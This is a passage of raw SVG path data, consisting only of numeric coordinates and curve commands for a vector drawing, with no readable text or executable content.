3.8-4.8 1.8-2.7 2.9-4.4 3.6-5.7 0.5-0.8 1.2-2.1 1.7-2.8s0.8-1.5 0.8-1.7 0.1-0.6 0.3-0.7c0.4-0.4 1.8-4.2 2.3-5.9 0.2-0.8 0.5-1.9 0.7-2.4 0.3-0.9 1-6.1 1-7.8 0-2-0.7-7.1-1-7.4-0.2-0.2-0.4-0.9-0.4-1.6s-0.1-1.3-0.3-1.4-0.3-0.5-0.3-0.9-0.4-1.4-0.8-2.3c-1.3-2.7-0.9-3.3 1.3-2.1 3.5 1.9 5.1 3.4 6.9 6.3 0.6 0.9 1.2 1.7 1.3 1.7 0.5 0 1-3 0.8-4.6-0.8-5.8-1.1-7.7-1.7-8.8-0.2-0.4-0.4-1.1-0.4-1.7 0-0.5-0.1-1.1-0.3-1.2s-0.3-0.6-0.3-1.1-0.1-1-0.3-1.1-0.3-0.5-0.3-0.9-0.2-1-0.5-1.3-0.5-0.9-0.5-1.2-0.1-0.8-0.3-1.1-0.8-1.7-1.5-3.1-1.3-2.8-1.4-3c-0.8-1.6-2.2-4-3.4-5.8-0.8-1.2-1.4-2.2-1.4-2.3 0-0.2-1.4-2.1-2.8-3.8-1-1.2-1.4-2.4-0.7-2.4 0.5 0 3.9 1.8 4.5 2.4 0.3 0.3 0.9 0.7 1.2 0.9 3.6 2.1 8.5 7.2 12 12.3 2.3 3.4 3 4.8 5.3 10.1 0.8 1.8 1.3 3.2 1.3 3.8 0 0.3 0.2 0.5 0.4 0.5 0.5-0.2 0.7-13.1 0.2-15.4-0.2-0.9-0.4-2.4-0.5-3.4s-0.3-1.9-0.4-2.1c-0.2-0.2-0.3-0.8-0.3-1.4s-0.2-1.5-0.5-1.9-0.5-1.2-0.5-1.6-0.1-1-0.3-1.1c-0.1-0.2-0.4-0.9-0.7-1.6-0.7-2.2-3.9-8.9-5-10.5-0.4-0.5-0.8-1.2-0.9-1.5-0.3-0.6-2.1-3.1-4-5.5-0.7-0.9-2.9-3.3-4.7-5.2-3.9-4-4.3-4.7-1.9-3.6 5.2 2.5 6.5 3.2 6.9 3.6 0.2 0.3 0.5 0.5 0.7 0.5s0.8 0.4 1.4 0.8 1.2 0.8 1.4 0.8 0.4 0.1 0.4 0.3c0.1 0.1 1.3 1.2 2.8 2.5 1.5 1.2 3.2 2.9 3.8 3.7s1.7 2.2 2.5 3.2 1.7 2.2 1.9 2.7c0.6 1.1 1 1.8 1.8 3.1 0.3 0.5 0.6 1.1 0.6 1.3 0 0.7 0.6 1 1.1 0.5 0.4-0.3 0.5-1.3 0.5-5 0-2.7-0.1-4.7-0.3-4.8s-0.3-0.6-0.3-1.2c0-1.1-0.5-2.8-1.2-4.2-0.2-0.5-0.4-1.1-0.4-1.4s-0.1-0.7-0.3-1-0.9-1.8-1.6-3.3c-1.6-3.4-2.6-4.9-4.9-8.4-2.9-4.3-4.1-5.6-8.5-10-2.3-2.3-4.1-4.2-4-4.4 0.3-0.5 4 0.2 5.9 1.1 0.4 0.2 1.4 0.8 2.1 1.4s1.5 1.1 1.6 1.1c0.4 0 3.7 3.4 4.6 4.8 0.4 0.6 0.8 1.2 0.9 1.3 0.6 0.6 2.9 4.6 4.2 7.5 0.4 0.9 0.9 2 1.2 2.5 0.2 0.5 0.5 1.2 0.5 1.7s0.1 0.8 0.3 1 0.3 0.6 0.3 1 0.1 1 0.3 1.3c1.2 2.4 2 6.6 2.7 14.6 0.4 4.2 0.1 10.1-0.7 14.9-0.2 1.1-0.4 2.7-0.5 3.4-0.1 0.8-0.3 1.4-0.6 1.4-0.4 0-0.5-0.6-1-5.5-0.1-1-0.3-1.9-0.5-2s-0.3-0.5-0.3-0.9c0-1.3-2.7-6.9-4.4-9.3-0.6-0.8-1.3-1.8-1.5-2.1-0.5-0.9-1.2-1.6-1.5-1.6-0.5 0-0.3 1.2 0.2 2.1 1 1.5 2.9 7.3 3.9 11.9 0.1 0.7 0.4 1.4 0.6 1.7 0.5 0.8 1.5 9.2 1.5 13.3 0 3.1-0.3 7.2-0.8 9-0.6 2.4-1.3 4.8-1.6 5.6-0.2 0.4-0.5 1.2-0.6 1.6-1.7 4.4-2.5 5.8-3.1 5.3-0.1-0.1-0.3-1.4-0.4-2.8-0.2-2.4-0.4-3.9-1.1-6.8-0.1-0.5-0.5-1.5-0.8-2.2-1.3-2.9-2.6-5.5-3.1-6.3-0.3-0.5-1-1.6-1.6-2.4-1.5-2.3-2.9-2.8-1.9-0.7 0.7 1.5 1.2 3.2 1.2 4.2 0 0.5 0.1 0.9 0.3 1s0.3 0.6 0.3 1.2 0.2 1.3 0.4 1.7c1.4 2.6 2.2 16.9 1.3 22.8-0.5 3.3-1 5.4-1.4 5.7-0.2 0.2-0.3 0.6-0.3 0.9s-0.1 0.8-0.3 1.1-0.5 1-0.7 1.5c-1.4 3.5-1.7 3.3-1.9-1-0.1-2.5-0.2-3.4-0.5-3.3-0.2 0.1-0.4 0.5-0.5 0.9-0.1 1.2-1.4 5.1-2.2 6.9-0.4 0.9-0.8 1.8-0.8 2 0 0.6-2.4 5.1-4 7.4-1.5 2.3-5.6 6.7-6.2 6.7-0.5 0-2.1 1.6-2.6 2.6-0.4 0.9-0.7 1.1-1.7 1.2-1.1-0.2-1.3-0.3-1.3-0.8zm-239.6-1.9c-3.1-2.2-4.9-3.6-4.9-3.9 0-0.1-0.6-1-1.4-2-0.7-1-1.9-2.9-2.6-4.3s-1.4-2.9-1.7-3.4c-0.2-0.5-0.4-1.1-0.4-1.4s-0.2-0.8-0.4-1.2c-0.7-1.3-0.8-1.7-1.1-2.7-0.1-0.6-0.4-1.1-0.5-1.2-0.2-0.1-0.3-0.5-0.3-0.8s-0.1-0.9-0.3-1.2c-0.5-0.9-1-2.8-1-3.5 0-1-0.3-1.7-0.7-1.5-0.2 0.1-0.3 2-0.3 4.2s-0.1 4-0.3 4c-0.4 0-0.9-0.7-1.2-1.8-0.1-0.5-0.3-1.1-0.4-1.3s-0.4-1-0.6-1.8-0.5-1.9-0.7-2.4c-1.9-5.5-2.2-17.1-0.6-25.3 0.2-0.9 0.5-1.9 0.7-2.3s0.3-1 0.3-1.5 0.1-1.1 0.3-1.4 0.5-1.3 0.8-2.3 0.7-1.9 0.9-2.2c0.2-0.2 0.2-0.6 0.1-0.9-0.2-0.4-0.3-0.5-0.7-0.1-1.4 1.1-5.2 7.2-5.2 8.2 0 0.3-0.1 0.7-0.2 0.8-0.9 0.9-2.2 6.5-2.6 10.9-0.3 2.9-0.8 3.4-1.8 1.7-1.3-2.2-2.7-4.9-2.7-5.4 0-0.3-0.2-0.8-0.4-1.1-0.8-1.1-1.6-6.7-1.6-11.2 0-3.9 1-13.4 1.5-14.2 0.2-0.3 0.4-1 0.5-1.8 0.1-0.7 0.4-1.9 0.6-2.7s0.4-1.9 0.5-2.4 0.4-1.2 0.6-1.6c0.2-0.3 0.4-1 0.4-1.5s0.1-1 0.3-1.1 0.3-0.5 0.3-1 0.1-0.9 0.3-1 0.3-0.6 0.3-1 0.2-1.1 0.5-1.6c0.3-0.4 0.4-1 0.3-1.3-0.2-0.5-0.4-0.4-1.4 0.6-1.3 1.2-3.9 5.1-3.9 5.8 0 0.2-0.1 0.5-0.2 0.7-0.4 0.4-1.4 3.5-1.4 4.2 0 0.4-0.1 0.8-0.3 1s-0.4 0.9-0.5 1.6-0.3 2.3-0.5 3.6-0.5 2.6-0.7 3l-0.4 0.7-0.6-0.8c-0.3-0.4-0.6-1-0.6-1.2s-0.1-0.7-0.3-1c-1.5-2.8-1.7-4.1-1.7-12.4 0-7.2 0.1-9.1 0.9-11.8 0.2-0.9 0.6-2.2 0.8-3s0.5-1.7 0.7-2 0.3-0.8 0.3-1c0-0.6 1.1-3.2 3.5-8.2 3.5-7.3 7.8-12.5 13.3-16.2 2.1-1.4 6.3-2.9 6.9-2.6s0.4 0.8-0.6 1.3-10 9.3-10.8 10.7c-0.6 0.9-2.4 3.5-3 4.2-0.2 0.2-0.3 0.5-0.3 0.7s-0.3 0.9-0.8 1.6c-0.4 0.7-1.3 2.4-1.9 3.8s-1.3 2.8-1.5 3.1-0.3 0.8-0.3 1.2-0.1 0.7-0.3 0.8-0.3 0.5-0.3 0.9-0.1 0.9-0.3 1c-0.3 0.3-0.9 2.6-1.2 4.8-0.1 0.7-0.3 1.4-0.4 1.6-0.4 0.5-0.5 8.9-0.2 9 0.2 0.1 0.6-0.6 1-1.4s0.9-1.7 1.2-2 0.6-0.7 0.6-0.9c0.1-0.8 6.3-8.5 7.9-9.7 0.6-0.5 1.9-1.6 2.8-2.4s1.8-1.5 1.9-1.5c0.2 0 0.7-0.4 1.2-0.8s0.9-0.8 1.1-0.8 0.9-0.5 1.9-1c1.4-0.9 3.9-2.2 7.5-3.8 1.7-0.8 0.9 0.4-3 4.4-5.1 5.3-5.7 6-8.3 10.1-0.2 0.3-0.8 1.2-1.3 2s-1.5 2.6-2.2 4-1.4 2.6-1.5 2.7-0.3 0.4-0.3 0.8-0.2 1.1-0.5 1.7c-1 1.9-1.1 2.2-1.1 2.7 0 0.3-0.1 0.7-0.3 1-0.6 1.1-1.3 3.9-1.3 4.8 0 0.5-0.1 1.1-0.3 1.2s-0.4 1.1-0.4 2.1c-0.1 1-0.3 2.5-0.5 3.4-0.5 2.1-0.3 14.9 0.2 15.1 0.2 0.1 0.5-0.5 0.7-1.3s0.6-1.8 0.8-2.3 0.6-1.3 0.7-1.8c0.7-1.7 2.2-4.7 3.2-6.3 0.6-0.9 1-1.7 1-1.8 0-0.3 2.2-3 4.4-5.6s6.3-6.2 8.2-7.4c3.3-2 3.3-2 3.7-1.7 0.2 0.2 0.1 0.6-0.3 1.2-2.4 3.6-7.9 14.3-9.2 18-0.9 2.7-1.3 3.8-1.6 4-0.1 0.1-0.2 0.6-0.2 1 0 0.8-0.3 2-1 4-0.4 1.3-0.9 3.9-1.2 7.4-0.2 1.6-0.4 3.6-0.5 4.4-0.3 2.3 0.3 2 2.9-1.2 2.1-2.6 5.3-5.2 6.3-5.2 0.3 0 0.6-0.1 0.7-0.3s0.4-0.3 0.7-0.3c0.5 0 0.7 1.4 0.2 1.7-0.3 0.2-1 2.2-1.6 4.3-0.2 0.8-0.6 2.1-0.9 3-0.7 2.3-0.7 12.8 0 14.3 0.3 0.6 0.5 1.4 0.5 1.9s0.1 1 0.3 1.1 0.3 0.6 0.3 1 0.1 1 0.3 1.3c0.3 0.5 1 2.1 1.6 3.8 0.4 1.1 2.6 5.4 3.4 6.6 0.4 0.7 0.7 1.3 0.7 1.4s0.5 0.9 1 1.7 1.2 1.8 1.4 2.2 0.5 0.9 0.7 1.1c1.4 1.8 2 2.5 2 2.8 0.3 0.5-0.4 0.3-2.1-0.9zm117.5-9.4c-1.4-0.1-3.1-0.4-3.8-0.6-1.1-0.3-1.7-0.5-4.2-1.4-0.4-0.1-1.7-0.8-3-1.4s-2.7-1.2-3-1.2-0.8-0.1-1.2-0.3c-0.3-0.2-1.6-0.5-2.8-0.6-5-0.7-10.2-2-10.9-2.7-0.1-0.1-0.5-0.2-0.8-0.2s-0.6-0.1-0.6-0.3-0.2-0.3-0.5-0.3-1.1-0.4-1.8-0.8-1.4-0.8-1.5-0.8c-0.3 0-4.9-3.9-4.9-4.2 0-0.2-0.5-0.8-1.1-1.5-1.3-1.4-1.8-2.3-3.4-6.2-0.6-1.5-0.8-3.4-0.8-9.6 0-4.6 0.1-6.5 0.4-7.2l0.4-1 0.6 1.3c0.3 0.7 0.6 1.6 0.6 2s0.2 0.8 0.3 0.9 0.3 0.5 0.3 0.8 0.1 0.9 0.3 1.2 0.5 1.1 0.8 1.7c1 2.4 3.2 6.6 3.9 7.8 0.4 0.7 0.9 1.6 1.1 1.9 0.4 0.8 3.1 4.2 5.1 6.3 1.5 1.6 4.9 4.2 6.7 5.2 0.6 0.3 1.3 0.8 1.6 1s1 0.5 1.6 0.8c0.6 0.2 1.4 0.5 1.8 0.7 0.4 0.1 1 0.3 1.4 0.4s1.4 0.3 2.1 0.5c2 0.5 8.3 0.4 9.6-0.1 0.6-0.3 1.6-0.5 2.1-0.5s1-0.1 1.1-0.3 0.5-0.3 0.9-0.3c0.8 0 1.5-0.5 1.5-1.2 0-0.2-0.3-0.4-0.6-0.4-1.2 0-5.2-2.5-8.1-5.1-1.5-1.4-4.4-5.3-4.4-6.1 0-0.2-0.1-0.6-0.3-0.9-0.7-1.3-1.3-2.9-1.3-3.4 0-0.3-0.1-0.6-0.3-0.7s-0.3-1.7-0.3-3.6c0-3.6 0.3-4.8 1.7-6.3 0.3-0.3 0.6-0.7 0.6-0.9 0-0.5 2.8-2.1 4.7-2.6 2.4-0.7 3.9-0.7 6.3-0.1 2.3 0.6 10.1 0.7 11.2 0.1 0.4-0.2 2.1-0.4 3.8-0.5 3.2-0.2 3.2-0.2 6.8 1.4 1.2 0.5 2 1.5 3.1 3.5 0.8 1.5 0.9 2 0.9 5.1 0 1.9-0.1 3.6-0.3 3.8s-0.5 1.2-0.9 2.2c-1.2 3.8-4.4 8.4-7.1 10.2-3.3 2.2-4.7 3.1-4.9 3.1s-0.6 0.1-0.9 0.3-0.8 0.4-1.2 0.5c-0.6 0.2-0.6 0.2 0 0.8 0.3 0.3 0.9 0.6 1.3 0.6s0.8 0.1 0.9 0.3 0.5 0.3 0.9 0.3 1.3 0.2 2 0.5c1.8 0.6 10.6 0.7 11.7 0 0.4-0.3 1.2-0.5 1.7-0.5s1-0.2 1.1-0.3c0.1-0.2 0.5-0.3 0.8-0.3s1.3-0.4 2.1-0.9 1.8-1 2.2-1.2c2.3-1.2 5.8-4.3 8.1-6.9 2.9-3.5 3.2-3.9 4.9-7.4 0.9-1.8 1.8-3.6 1.9-3.9 0.2-0.3 0.3-0.9 0.3-1.3s0.2-0.9 0.3-1.1c0.7-0.7 1.6-5.5 1.9-10.3 0.3-5.4 1.4-4.4 2.3 2.2 0.2 1.1 0.4 2.6 0.6 3.2 0.7 2.3 0.2 8.5-1 12.8-2.1 7.4-7.4 13.1-14.9 16-1.9 0.7-3.4 1.1-6.5 1.6-4.4 0.7-5.7 0.9-6.3 1.3-0.4 0.2-1 0.3-1.5 0.3-0.4 0-0.9 0.1-1 0.3s-0.5 0.3-0.8 0.3c-0.6 0-0.8 0.1-2.8 1.1-0.6 0.3-1.3 0.5-1.5 0.5-0.3 0-0.7 0.1-1 0.3-1 0.5-3.7 1.3-4.4 1.3-0.4 0-0.8 0.1-1 0.3-0.3 0.8-7.7 1-10.7 0.7zm-54.1-35.9c-0.5-0.8-1-1.4-1.1-1.5s-0.8-1-1.5-1.9c-1.4-1.9-6.8-7.2-10.1-9.9-4.1-3.3-9.7-6.8-16-9.9-1.9-1-3.8-1.9-4.1-2-0.3-0.2-0.8-0.3-1-0.3s-0.6-0.2-0.8-0.5-0.7-0.5-1-0.5-0.9-0.1-1.2-0.3-1-0.5-1.5-0.7c-1.6-0.6-3.2-1.3-3.8-1.6-0.3-0.2-0.8-0.3-1.2-0.3s-0.7-0.1-0.8-0.3-0.5-0.3-0.9-0.3-1-0.2-1.3-0.5-0.9-0.5-1.3-0.5-0.8-0.2-0.9-0.3c-0.1-0.2-0.6-0.3-1-0.3-1 0-2.8-0.9-2.5-1.3 0.3-0.5 6.8-0.4 8.6 0.2 0.9 0.3 2.1 0.5 2.8 0.5s1.3 0.1 1.4 0.3 0.6 0.3 1.1 0.3 1 0.1 1.1 0.3 0.5 0.3 0.9 0.3 1 0.2 1.3 0.4 1.2 0.6 1.9 0.8c1.8 0.6 7.5 3.2 9.4 4.3 0.4 0.3 1 0.6 1.3 0.7 0.8 0.3 6 3.6 6.4 4 0.1 0.1 0.6 0.4 1.1 0.8s1.5 1.1 2.2 1.6c1.7 1.3 10.1 9.5 10.1 9.9 0 0.2 0.4 0.7 0.8 1.3s0.8 1.2 0.8 1.4 0.1 0.4 0.3 0.4 0.3 0.3 0.3 0.6 0.1 0.7 0.2 0.8c0.4 0.4 1.4 3.2 1.4 4.1 0 1.4-0.5 1.4-1.4-0.1zm96 0.6c-0.1-0.3 0-1.1 0.3-1.8 0.7-1.7 0.7-10.3 0-11.5-0.3-0.4-0.5-1.3-0.5-1.8 0-0.6-0.1-1.3-0.3-1.6s-0.5-1.2-0.8-2c-1.6-4.8-1.6-4.7-2.6-6.7-0.5-0.9-0.8-1.9-0.8-2.1s-0.5-1.5-1.2-2.8c-0.6-1.3-1.3-2.7-1.4-3-0.3-0.8-1.9-4.3-2.3-5-0.2-0.3-0.3-0.8-0.3-1.2 0-0.3-0.2-0.8-0.5-1s-0.5-0.7-0.5-1-0.1-0.7-0.3-0.8-0.3-0.5-0.3-0.8c0-0.6-0.1-0.9-1.1-2.7-0.3-0.6-0.5-1.4-0.5-1.8s-0.1-0.9-0.3-1c-0.3-0.2-0.4-0.7-0.9-4.2-0.2-1.1-0.5-2.4-0.7-2.9-0.5-1.3-0.5-14.7 0-16 0.2-0.5 0.5-1.6 0.7-2.4 0.7-3.5 0.8-3.9 1.8-5.9 0.2-0.5 0.5-1.1 0.5-1.4s0.1-0.7 0.3-1 0.9-1.8 1.6-3.3 2.3-4 3.4-5.6 2.4-3.4 2.8-4c1.4-2 6.5-7 8.5-8.3 2.9-1.8 7.7-4.1 9.8-4.6 5.7-1.3 10.6-1.7 15.6-1.2 5.3 0.5 6.7 0.7 7.1 1 0.2 0.2 0.6 0.3 0.9 0.3 0.6 0 2 0.4 4.2 1.3 2.9 1.1 7.8 3.9 7.8 4.5 0 0.2-0.3 0.4-0.6 0.6-0.5 0.2-1 0.1-2.3-0.5-2.2-1.1-5.4-1.2-7-0.3-1.7 1-3.6 3-5.3 5.9-4.1 6.6-6.3 9.2-10.2 11.7-1.7 1.1-4.5 2.4-5 2.4-0.3 0-0.6 0.1-0.7 0.3s-0.6 0.3-1.1 0.3-1.3 0.2-1.8 0.3c-1.2 0.5-9.9 0.5-11.1 0-0.5-0.2-1.5-0.4-2.3-0.4s-1.5-0.1-1.6-0.3c-0.2-0.3-5.2-0.7-5.8-0.5-0.2 0.1-0.4 0.4-0.4 0.6s-0.2 0.9-0.5 1.5c-1 1.9-1.1 2.2-1.1 2.7 0 0.3-0.1 0.7-0.3 1-1.4 2.9-2.4 8.5-2.4 14.3 0 4.8 0.8 10.6 1.6 12.2 0.2 0.4 0.4 1.1 0.4 1.5s0.1 0.9 0.3 1 0.3 0.5 0.3 1 0.4 1.7 0.8 2.8c0.5 1.1 0.9 2.3 1.1 2.7 0.3 0.8 0.7 1.8 2.2 5.4 0.2 0.5 0.5 1.2 0.7 1.5s0.3 0.8 0.3 1.1 0.2 0.9 0.5 1.2 0.5 0.9 0.5 1.3 0.2 0.8 0.3 0.9c0.2 0.1 0.3 0.5 0.3 1s0.1 0.9 0.3 1 0.3 0.5 0.3 0.9 0.2 1 0.4 1.3c0.4 0.6 0.7 1.7 1.1 4.1 0.1 0.7 0.3 1.3 0.5 1.4s0.3 0.7 0.3 1.4c0 0.6 0.2 1.8 0.5 2.5 0.5 1.5 0.7 9.9 0.2 10.2-0.2 0.1-0.3 0.5-0.3 0.8 0 0.7-1.6 4.4-2.3 5.3-0.6 0.7-0.6 0.7-0.8 0.2zm15.1-91.2c1.3-2.6 1.6-4.4 1.1-5.6-0.2-0.3-0.6-1.3-1-2.2l-0.7-1.6-0.5 1.1c-0.3 0.8-0.5 2.1-0.5 4.2-0.1 4 0.7 5.9 1.6 4.1zm4.3 91.2c0-0.4 2.5-4.8 3.7-6.4 3-4.2 8.3-9.7 12.3-13 1-0.8 2.4-1.9 3.3-2.6s1.8-1.3 2-1.3 0.4-0.1 0.4-0.3 0.5-0.5 1-0.8c0.6-0.3 1.5-0.8 2-1.1 2.1-1.2 7.9-4.1 10.1-4.9 0.4-0.2 1.2-0.5 1.7-0.8s1.2-0.5 1.7-0.5c0.4 0 0.8-0.1 1-0.3s0.7-0.3 1.3-0.3 1.2-0.1 1.3-0.3 0.7-0.3 1.2-0.3c0.6 0 1.8-0.2 2.8-0.5 2.3-0.6 8.3-0.7 8.3-0.1 0 0.5-1.3 1.2-2.2 1.2-0.3 0-0.7 0.1-0.8 0.3s-0.6 0.3-1 0.3-1.2 0.2-1.7 0.4-2 0.8-3.3 1.3-2.7 1-3 1.1c-0.9 0.5-2.1 0.9-3.4 1.4-0.7 0.2-1.5 0.6-1.8 0.8s-0.7 0.4-0.9 0.4-0.6 0.1-0.9 0.3-2.2 1.1-4.2 2.1-4.9 2.5-6.4 3.4-2.7 1.6-2.8 1.6-0.3 0.1-0.5 0.3-1.2 0.9-2.2 1.5c-1 0.7-2.2 1.5-2.6 1.8s-1.3 1-2 1.6c-4.5 3.4-10.9 9.8-13.2 13.2-0.7 1-1.2 1.2-1.2 0.5zm-95.5-1.2c-0.3-0.5-0.6-1.3-0.6-1.7s-0.1-0.8-0.3-0.9-0.4-0.6-0.5-1.2-0.3-1.9-0.5-3c-0.7-3.5 0-12.2 1-14.3 0.2-0.3 0.3-0.8 0.3-1.1s0.4-1.7 0.8-3.1c0.8-2.5 1-3 1.9-5.2 0.2-0.5 0.5-1.3 0.7-1.8 0.4-0.9 1-2.4 2-4.6 0.4-0.9 0.9-2 1-2.4 0.6-1.5 1.3-3 1.6-3.6 0.2-0.3 0.3-0.8 0.3-1s0.1-0.7 0.3-1c0.4-0.8 1-2.7 1.2-3.6 0.1-0.4 0.3-1.1 0.4-1.4 0.6-1.3 0.7-3.7 0.7-10.7 0-7.2-0.2-9.8-0.7-11-0.2-0.4-0.3-1.1-0.4-1.6-0.1-0.9-0.4-1.7-1.2-3.8-0.1-0.4-0.6-1.5-1.1-2.5l-0.8-1.8-2.2 0.2c-1.2 0.1-2.7 0.3-3.3 0.5-2.1 0.5-4.6 0.7-9.8 0.7-5.1 0-8-0.3-8.3-0.8-0.1-0.2-0.4-0.3-0.8-0.3-1.1 0-4.6-1.8-7.2-3.8-2.6-1.9-8.1-7.7-8.1-8.6 0-0.2-0.1-0.4-0.3-0.4-0.1 0-0.5-0.5-0.9-1-1.6-2.7-3.8-5.2-5.4-6-1.5-0.8-2.5-0.8-3.3-0.2-0.3 0.3-1.1 0.5-1.6 0.5-0.6 0-1.1 0.2-1.2 0.3-0.1 0.2-0.5 0.3-0.8 0.3-0.6 0-0.8 0.1-2.8 1.1-0.6 0.3-1.3 0.5-1.7 0.5-0.3 0-0.9 0.2-1.2 0.4-0.7 0.4-2.3 0.1-2.3-0.5 0-0.2 1.2-1 2.6-1.8 1.5-0.7 3.1-1.6 3.8-2 1.9-1 4.6-2.2 5.9-2.6 0.7-0.2 1.4-0.5 1.6-0.7s0.7-0.3 1.1-0.3c0.5 0 1.1-0.2 1.5-0.4 0.3-0.2 1.1-0.5 1.8-0.6 0.6-0.1 1.9-0.4 2.9-0.6 2.2-0.5 13.3-0.5 15.7 0 3.1 0.6 8.1 2.3 9.9 3.3 0.3 0.2 1.1 0.6 1.8 0.9 3 1.5 6.5 4.1 10 7.6 3.4 3.4 6.5 7.2 6.5 8.1 0 0.2 0.1 0.3 0.2 0.4 0.3 0.2 2.1 3.4 3.2 6 0.3 0.6 0.6 1.4 0.8 1.7s0.3 0.8 0.3 1.2 0.1 0.7 0.3 0.8 0.3 0.6 0.3 1 0.2 1.1 0.4 1.5c1 1.9 1.7 10.5 1.3 15.9-0.5 6.2-0.7 7.5-1.2 8.2-0.2 0.3-0.4 1-0.4 1.4 0 0.8-0.5 2.7-1 3.6-0.2 0.3-0.3 0.8-0.3 1s-0.2 0.9-0.5 1.4c-0.2 0.5-0.6 1.3-0.8 1.7-0.5 1.1-1.2 2.8-2.6 5.9-0.7 1.5-1.5 3.3-1.8 3.9s-1 2.3-1.7 3.6c-2.1 4.4-2.6 5.6-3 6.9-0.2 0.7-0.6 1.6-0.8 1.9s-0.4 1-0.4 1.3-0.1 0.8-0.3 0.9c-0.7 0.5-1.3 7.6-1.1 13.5 0.1 2.8 0.1 4.9-0.1 4.9-0.1-0.1-0.5-0.6-0.8-1.1zm-12.5-94.8c0.1-4.6 0-5.1-0.4-5-0.6 0.1-0.8 0.5-2.2 3.9-0.7 1.7-0.6 1.9 0.5 4.3 0.7 1.4 1.2 2 1.5 2 0.5-0.1 0.6-0.9 0.6-5.2zm45.1 44.5c-0.1-0.2-0.2-2.7-0.3-5.5-0.2-7-1-14.1-1.7-15.5-0.5-0.9-0.5-3 0-2.9 0.4 0.1 0.9 1.1 1.5 2.5 0.2 0.4 0.7 1.6 1.1 2.6 1.1 2.6 1.4 4.5 1.3 9.4 0 4.8-0.3 7.9-1 9-0.5 0.9-0.7 1-0.9 0.4zm11.2-1.1c-0.1-0.7-0.3-1.7-0.5-2.3s-0.3-3.3-0.2-6.2c0.1-4.8 0.5-7.6 1.2-8.3 0.2-0.2 0.3-0.6 0.3-1 0-0.9 2-4.7 2.5-4.9s0.6 1.7 0.1 2c-0.2 0.1-0.3 0.8-0.3 1.6s-0.2 1.8-0.4 2.1c-0.5 0.9-1.4 10.7-1.5 16.9 0 0.8-0.2 1.2-0.5 1.2-0.4 0.1-0.6-0.4-0.7-1.1zm123-46c0-0.2 0.5-1.3 1.1-2.3s1.1-2 1.1-2.1 0.5-1.3 1.1-2.6 1.1-2.5 1.1-2.7 0.1-0.4 0.3-0.4 0.3-0.2 0.3-0.4 0.3-1.1 0.8-2c0.4-0.9 1-2.3 1.3-3 1.1-3.3 1.3-3.7 1.5-4.3 0.1-0.4 0.4-1.2 0.6-1.9s0.6-1.7 0.8-2.1c0.2-0.5 0.4-1.1 0.4-1.5s0.1-0.7 0.3-0.8 0.3-0.7 0.3-1.3 0.1-1.2 0.3-1.3 0.3-0.6 0.3-1.2c0-0.5 0.2-1.3 0.4-1.7s0.5-1.3 0.7-2.1c0.5-2.5 0.9-4.8 1.1-6.5 0.1-0.9 0.4-1.9 0.5-2.1 0.2-0.3 0.4-1.6 0.6-2.9 1.1-9.7 1.4-16.9 0.9-20-0.4-2.2-0.3-2.9 0.3-2.3 0.5 0.5 1.6 3.7 1.6 4.7 0 0.5 0.1 0.9 0.3 1 0.8 0.5 1.1 12.1 0.4 17.8-0.7 6.2-1.4 10.4-2 11.5-0.2 0.4-0.3 1.1-0.3 1.6s-0.1 1.1-0.3 1.2-0.3 0.6-0.3 1.1-0.1 1.2-0.3 1.5c-0.5 0.9-1.1 2.7-1.2 3.7-0.1 0.5-0.3 1-0.4 1.1s-0.3 0.5-0.3 0.8-0.1 0.9-0.3 1.2-0.5 1.1-0.8 1.7c-1.6 3.8-4.5 9.5-5.9 11.5-0.9 1.3-1.7 2.6-1.9 2.9s-0.9 1.2-1.6 2-1.5 1.8-1.7 2.2c-0.2 0.5-1.1 0.7-1.1 0zm-260.4-2.4c-0.4-0.5-0.7-1-0.7-1.1s-0.6-1.1-1.4-2.2c-1.8-2.6-2-3-2.8-4.6-0.4-0.7-1-1.9-1.4-2.6s-0.9-1.5-1-1.8-0.5-1.1-0.8-1.9c-0.4-0.8-0.9-1.9-1.1-2.6-0.3-0.6-0.6-1.4-0.8-1.7s-0.3-0.8-0.3-1.2-0.1-0.7-0.3-0.8c-0.4-0.2-1.3-3.1-1.3-4 0-0.4-0.1-0.7-0.3-0.8s-0.3-0.6-0.3-1.1-0.2-1.2-0.5-1.7c-0.3-0.4-0.5-1.3-0.5-1.9s-0.1-1.3-0.3-1.4c-0.2-0.2-0.4-1.1-0.5-2.1s-0.3-3.1-0.5-4.6c-1-8.2-0.9-11.8 0.6-24.9 0.4-3.7 0.9-2.5 1.1 3 0.2 5.7 0.7 11.3 1.2 15 0.2 1.3 0.4 3.3 0.6 4.3 0.1 1.1 0.4 2.1 0.5 2.3 0.2 0.4 0.7 2.5 1.1 5.3 0.1 0.7 0.3 1.4 0.5 1.6s0.3 0.7 0.3 1.2 0.2 1.2 0.4 1.6c0.3 0.6 0.6 1.4 1.1 3.9 0.1 0.5 0.3 1.2 0.4 1.6 0.7 1.8 1.1 3 1.2 3.8 0.1 0.5 0.3 1 0.4 1.1s0.3 0.5 0.3 1 0.1 1 0.3 1.3c0.7 1.5 1.3 3 1.3 3.6 0 0.3 0.1 0.7 0.3 0.8s0.3 0.5 0.3 0.8 0.1 0.9 0.3 1.2 0.5 1.1 0.8 1.8 0.7 1.5 0.8 1.8c0.2 0.3 0.3 0.8 0.3 1 0 0.4 0.8 2.2 2 4.4 0.7 1.8-0.3 2-1.3 0.6zm17.8-32.1c-0.6-0.9-1.2-1.9-1.3-2.2s-0.4-0.6-0.6-0.7-0.9-1.2-1.5-2.3c-0.7-1.2-1.5-2.6-1.8-3.1-0.3-0.6-0.9-1.6-1.3-2.3s-1.2-2.1-1.7-3c-2.4-4.2-8-16.3-8-17.1 0-0.2-0.1-0.5-0.3-0.7s-0.3-0.5-0.3-0.8-0.1-0.9-0.3-1.2c-0.7-1.5-1.3-2.9-1.6-4.2-0.2-0.8-0.5-1.7-0.6-2.1-0.9-2.4-1.1-3-1.2-3.9-0.1-0.6-0.3-1.1-0.4-1.2-0.2-0.1-0.3-0.6-0.3-1.2s-0.1-1.2-0.2-1.3c-0.4-0.4-1.1-4-2-9.2-0.2-1-0.5-3.2-0.8-5-0.6-3.4-1.2-12.4-1.3-16.6 0-4.8 0.5-12.2 1-14.6s0.4-3.5-0.2-3.5c-0.2 0-0.4 0.5-0.5 1-0.1 0.6-0.4 2-0.7 3.1-1.7 6.8-2.4 20.3-1.5 31 0.5 6.9 1 10.8 1.2 11.3 0.2 0.4 0.6 3.1 1 6.7 0.1 1 0.3 1.9 0.5 2.1s0.3 0.9 0.3 1.7 0.2 1.8 0.5 2.4c0.5 1 0.5 2.2 0 2.2-0.4 